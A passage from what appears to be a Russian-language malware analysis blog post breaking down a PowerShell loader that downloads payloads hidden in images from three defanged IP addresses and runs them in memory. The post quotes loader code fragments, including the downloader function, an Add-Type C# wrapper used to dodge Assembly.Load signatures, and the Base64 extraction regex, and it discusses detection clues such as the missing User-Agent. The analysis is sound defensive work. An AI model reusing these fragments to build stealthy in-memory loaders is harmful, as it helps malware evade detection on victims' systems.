\u043f\u0440\u0438\u043a\u0440\u043e\u044e\u0442.<\/p>\n
$b1 = @('hxxp:\/\/64[.]224[.]17[.]115\/img\/1[.]jpg',        'hxxp:\/\/217[.]60[.]76[.]249:8080\/1[.]jpg',        'hxxp:\/\/104[.]223[.]84[.]34\/1[.]jpg')<\/code>
<\/span><\/a><\/div><\/pre>\n
\u0410 \u0434\u0430\u043b\u044c\u0448\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0430\u044f \u0438\u0437\u044e\u043c\u0438\u043d\u043a\u0430. \u0421\u043a\u0440\u0438\u043f\u0442 \u043d\u0435 \u0438\u0434\u0451\u0442 \u043f\u043e \u0441\u043f\u0438\u0441\u043a\u0443 \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437. \u041e\u043d \u043f\u0435\u0440\u0435\u043c\u0435\u0448\u0438\u0432\u0430\u0435\u0442 \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c<\/strong> \u0438 \u043f\u0440\u043e\u0431\u0443\u0435\u0442 \u0438\u0445 \u043f\u043e \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u2014 \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430. \u0415\u0441\u043b\u0438 \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0430\u0434\u0440\u0435\u0441 \u043e\u0442\u0434\u0430\u043b \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u043b\u0438 \u043d\u0435 \u043e\u0442\u0432\u0435\u0442\u0438\u043b \u0432\u043e\u043e\u0431\u0449\u0435, \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439. \u0415\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442\u0438\u043b \u2014 \u043d\u0430 \u044d\u0442\u043e\u043c \u0432\u0441\u0451, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0432\u0430 \u043d\u0435 \u0442\u0440\u043e\u0433\u0430\u044e\u0442\u0441\u044f.<\/p>\n
\u0417\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u043d\u0443\u0436\u043d\u043e? \u0417\u0430\u0442\u0435\u043c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0430\u0434\u0440\u0435\u0441\u0430 \u2014 \u044d\u0442\u043e, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u043d\u0435 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 C2, \u0430 \u043e\u0434\u0438\u043d, \u0440\u0430\u0437\u043c\u043d\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u0442\u0440\u0438 \u0442\u043e\u0447\u043a\u0438 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u043e \u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u2013 \u043f\u043e \u0432\u0441\u0435\u043c \u0442\u0440\u0435\u043c \u0430\u0434\u0440\u0435\u0441\u0430\u043c \u0432\u044b\u043a\u0430\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439. \u041b\u043e\u0433\u0438\u043a\u0430 \u0432 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u0430\u044f: \u043f\u043e\u0434\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433 \u0434\u0440\u0443\u0433\u0430. \u0415\u0441\u043b\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 IP \u043f\u0440\u0438\u043a\u0440\u043e\u044e\u0442 \u2014 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043d\u0435 \u0432\u0441\u0442\u0430\u043d\u0435\u0442. \u0415\u0441\u043b\u0438 \u043e\u0434\u0438\u043d IP \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u0432 \u0447\u0451\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u2014 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043d\u0435 \u0432\u0441\u0442\u0430\u043d\u0435\u0442. \u0421\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0439: \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442 \u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u0438 \u0432\u0438\u0434\u0438\u0442 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443, \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0432\u0435\u0440\u0435\u043d, \u0447\u0442\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e\u0439\u0434\u0451\u0442 \u0442\u0443\u0434\u0430 \u0436\u0435. \u042d\u0442\u043e \u043d\u0435 \u0437\u0430\u0449\u0438\u0442\u0430, \u044d\u0442\u043e \u0440\u0430\u0437\u043c\u0430\u0437\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438.<\/p>\n
\u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u0442\u043e\u043d\u043a\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u0430\u043c\u0435\u0447\u0430\u0435\u0448\u044c \u043d\u0435 \u0441\u0440\u0430\u0437\u0443. \u0421\u043a\u0440\u0438\u043f\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Net.WebClient<\/code> \u2014 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 .NET \u0434\u043b\u044f HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u0423 \u044d\u0442\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0435\u0441\u0442\u044c \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043e\u043d \u043d\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a User-Agent<\/strong>. \u0421\u043e\u0432\u0441\u0435\u043c. \u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e Mozilla\/5.0<\/code>, \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e curl\/8.0<\/code>, \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0438\u0447\u0435\u0433\u043e.<\/p>\n
function d($urls) { $wc = New-Object Net.WebClient    (Get-Random $urls -Count $urls.Count) | % { try { return $wc.DownloadData($_) } catch {} } }<\/code>
<\/span><\/a><\/div><\/pre>\n
\u041e\u0431\u044b\u0447\u043d\u043e \u044d\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u043c\u0435\u043b\u043e\u0447\u044c\u044e. \u041d\u043e \u0434\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u044d\u0442\u043e \u0437\u043e\u043b\u043e\u0442\u0430\u044f \u0436\u0438\u043b\u0430: \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u2014 \u0432\u0441\u0435 \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u043e\u0439 User-Agent \u0432 \u043b\u043e\u0433\u0430\u0445 \u043f\u0440\u043e\u043a\u0441\u0438 \u2014 \u044d\u0442\u043e \u043a\u0440\u0430\u0441\u043d\u044b\u0439 \u0444\u043b\u0430\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0438\u0434\u043d\u043e \u0437\u0430 \u0432\u0435\u0440\u0441\u0442\u0443. \u0417\u0430\u043f\u0440\u043e\u0441 \u043a \u0433\u043e\u043b\u043e\u043c\u0443 IP-\u0430\u0434\u0440\u0435\u0441\u0443 \u0431\u0435\u0437 User-Agent \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u00ab\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c, \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0441\u0442\u0430\u0440\u044b\u0439 \u0441\u043e\u0444\u0442\u00bb, \u044d\u0442\u043e \u043f\u043e\u0447\u0442\u0438 \u0434\u0438\u0430\u0433\u043d\u043e\u0437.<\/p>\n
\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0436\u0443\u0440\u0438\u0442\u044c. \u041e\u043d \u044d\u0442\u043e\u0433\u043e, \u0441\u0443\u0434\u044f \u043f\u043e \u043a\u043e\u0434\u0443, \u0438 \u043d\u0435 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0435 \u0437\u043d\u0430\u043b, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u043e\u043b\u0435\u043d\u0438\u043b\u0441\u044f. \u041d\u043e \u0444\u0430\u043a\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f: \u0435\u0441\u043b\u0438 \u0431\u044b \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0448\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438, \u044d\u0442\u0438 \u0434\u0432\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u2014 \u0437\u0430 1.jpg<\/code> \u2014 \u0431\u044b\u043b\u0438 \u0431\u044b \u043f\u0435\u0440\u0432\u044b\u043c\u0438, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0446\u0435\u043f\u0438\u043b\u0441\u044f \u0431\u044b \u0432\u0437\u0433\u043b\u044f\u0434 \u0434\u0435\u0436\u0443\u0440\u043d\u043e\u0433\u043e.<\/p>\n
\u0422\u0440\u0435\u0442\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u2014 \u043a\u0430\u043a \u0441\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443. \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043f\u0443\u0442\u044c: \u0432\u0437\u044f\u0442\u044c \u043a\u043b\u0430\u0441\u0441 Reflection.Assembly<\/code> \u0438\u0437 .NET \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0443 \u043d\u0435\u0433\u043e \u043c\u0435\u0442\u043e\u0434 Load<\/code>, \u043f\u0435\u0440\u0435\u0434\u0430\u0432 \u0435\u043c\u0443 \u0431\u0430\u0439\u0442\u044b. \u041e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430, \u043f\u0440\u043e\u0441\u0442\u043e \u0438 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e. \u0418 \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044d\u0442\u043e \u043f\u043b\u043e\u0445\u043e\u0439 \u043f\u0443\u0442\u044c: \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430 Assembly.Load<\/code> \u0432 PowerShell \u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0432\u043e \u0432\u0441\u0435\u0445 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0445 \u0438 \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 EDR-\u0434\u0432\u0438\u0436\u043a\u043e\u0432.<\/p>\n
\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u043f\u043e\u0448\u0451\u043b \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0443\u0442\u0451\u043c. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043b\u0435\u0442 Add-Type<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 C#-\u043a\u043e\u0434 \u043d\u0430 \u043b\u0435\u0442\u0443<\/strong>. \u0412\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u043e\u0433\u043e C#-\u043a\u043e\u0434\u0430 \u0435\u0441\u0442\u044c \u043a\u043b\u0430\u0441\u0441 \u0441 \u0437\u0430\u0431\u0430\u0432\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u0432\u0440\u043e\u0434\u0435 PhantoggfnNOtg<\/code> \u0438 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0435\u0442\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u0441\u0451 \u0442\u0443 \u0436\u0435 \u0441\u0430\u043c\u0443\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u0431\u043e\u0440\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c. \u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u2014 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c. \u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u2014 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u0432\u0441\u0451: Add-Type<\/code> \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043b\u0435\u0442, \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0432\u0441\u0435, \u043a\u043e\u043c\u0443 \u043d\u0435 \u043b\u0435\u043d\u044c, \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0438\u043f\u043e\u0432 \u0432 \u0441\u0435\u0441\u0441\u0438\u044e PowerShell. \u041f\u0440\u044f\u043c\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 Assembly.Load<\/code> \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043d\u0435\u0442.<\/p>\n
Add-Type -TypeDefinition @'using System; using System.Reflection;public class PhantoggfnNOtg {  public static Assembly LoadAssembly(byte[] j) {    Assembly a = Assembly.GetExecutingAssembly(); if (a != null) {}    return AppDomain.CurrentDomain.Load(j);  }}'@<\/code>
<\/span><\/a><\/div><\/pre>\n
\u0426\u0435\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u0442\u0443\u0442 \u0437\u0430\u043f\u043b\u0430\u0442\u0438\u043b, \u2014 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u043e\u0432\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. Add-Type<\/code> \u043f\u043e\u0434 \u043a\u0430\u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 csc.exe<\/code> \u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u0441\u043b\u0435 \u0441\u0435\u0431\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 %TEMP%<\/code>. \u0412 \u0434\u0435\u0440\u0435\u0432\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f csc.exe \u0441 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c powershell.exe \u2014 \u043a\u0430\u0440\u0442\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043d\u0438\u043a\u043e\u0433\u0434\u0430. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043d\u0430 \u00ab\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u0432 PowerShell\u00bb, \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0437\u0434\u0435\u0441\u044c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u0432 \u043b\u043e\u0431.<\/p>\n
\u00a0\u041e\u0433\u043e\u0432\u043e\u0440\u043a\u0430 \u0434\u043b\u044f \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445<\/p>\n
\n\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/summary>\n
\n
\u042d\u0442\u043e \u0432\u0435\u0440\u043d\u043e \u0434\u043b\u044f Windows PowerShell 5.1, \u0433\u0434\u0435 Add-Type \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 CodeDom \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 csc.exe. \u0412 PowerShell 7 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 Roslyn \u043f\u0440\u044f\u043c\u043e \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435, \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 csc.exe \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f. \u041d\u043e \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0437\u0430\u0432\u044f\u0437\u0430\u043d\u0430 \u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 powershell.exe \u2014 \u0430 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c 5.1, \u0442\u0430\u043a \u0447\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0430 \u043c\u0435\u0441\u0442\u0435.<\/p>\n<\/div>\n<\/details>\n
\u00a0\u042d\u0442\u043e \u043a\u0430\u043a \u0441\u043d\u044f\u0442\u044c \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0443\u044e \u0441\u0438\u0433\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0441 \u0434\u0432\u0435\u0440\u0438 \u0438 \u0437\u0430\u0442\u043e \u043f\u043e\u0432\u0435\u0441\u0438\u0442\u044c \u043a\u043e\u043b\u043e\u043a\u043e\u043b\u044c\u0447\u0438\u043a \u043d\u0430 \u0440\u0443\u0447\u043a\u0443. \u041e\u0442 Assembly.Load<\/code> \u0443\u0448\u043b\u0438, \u043a csc.exe<\/code> \u043f\u0440\u0438\u0448\u043b\u0438. \u041e\u0431\u043c\u0435\u043d \u0448\u0438\u043b\u0430 \u043d\u0430 \u043c\u044b\u043b\u043e, \u043d\u043e \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0435\u0442\u0435\u043a\u0442\u043e\u0432 \u2014 \u0432\u043f\u043e\u043b\u043d\u0435 \u043e\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u044b\u0439.<\/p>\n
\u041a\u043e\u0433\u0434\u0430 \u043e\u0434\u0438\u043d \u0438\u0437 \u0442\u0440\u0451\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043d\u0430\u043a\u043e\u043d\u0435\u0446 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442, \u0441\u043a\u0440\u0438\u043f\u0442 \u0431\u0435\u0440\u0451\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u044f\u0435\u0442 \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435. \u0418\u0449\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u043b\u0435\u0436\u0438\u0442 \u043c\u0435\u0436\u0434\u0443 \u0434\u0432\u0443\u043c\u044f \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438 \u2014 <<STT>><\/code> \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0438 <<D>><\/code> \u0432 \u043a\u043e\u043d\u0446\u0435. \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u0430 \u0438 \u043f\u043e\u0441\u043b\u0435 \u0432\u0442\u043e\u0440\u043e\u0433\u043e, \u043e\u0442\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f. \u0422\u043e, \u0447\u0442\u043e \u043c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438, \u2014 \u044d\u0442\u043e Base64.<\/p>\n
if (($b2 = d $b1) -and ([Text.Encoding]::UTF8.GetString($b2)) -match '<<STT>>(.*?)<<D>>') <\/code>
<\/span><\/a><\/div><\/pre>\n
\u0417\u0434\u0435\u0441\u044c \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u0442\u0438\u0439 \u0441\u043b\u043e\u0439. \u0414\u0430\u043b\u044c\u0448\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 Base64, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0431\u0430\u0439\u0442\u044b, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438\u0445 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0441\u0432\u043e\u0439 C#-\u043e\u0431\u0432\u0435\u0441, \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0432 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 \u043d\u0443\u0436\u043d\u044b\u0439 \u0442\u0438\u043f, \u043d\u0443\u0436\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0441 \u0448\u0435\u0441\u0442\u044c\u044e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438. \u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u044b\u0437\u043e\u0432 \u2014 \u0442\u0435\u043c\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f, \u0430 \u043f\u043e\u043a\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u043c: \u0438\u0437 \u0432\u0441\u0435\u0433\u043e PowerShell-\u043a\u043e\u0434\u0430 \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043f\u044f\u0442\u044c \u0441\u0442\u0440\u043e\u043a. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u043e\u0431\u0432\u044f\u0437\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0438\u0445.<\/p>\n
\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c. \u0412\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u043e\u0433\u043e PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u2014 URL-\u0430\u0434\u0440\u0435\u0441\u0430, \u043c\u0430\u0440\u043a\u0435\u0440\u044b, \u0438\u043c\u044f \u0442\u0438\u043f\u0430, \u0438\u043c\u044f \u043c\u0435\u0442\u043e\u0434\u0430, \u0438\u043c\u0435\u043d\u0430 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 \u0442\u043e\u0436\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b. \u041c\u0435\u0442\u043e\u0434 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439: Base64, \u043f\u043e\u0432\u0435\u0440\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e 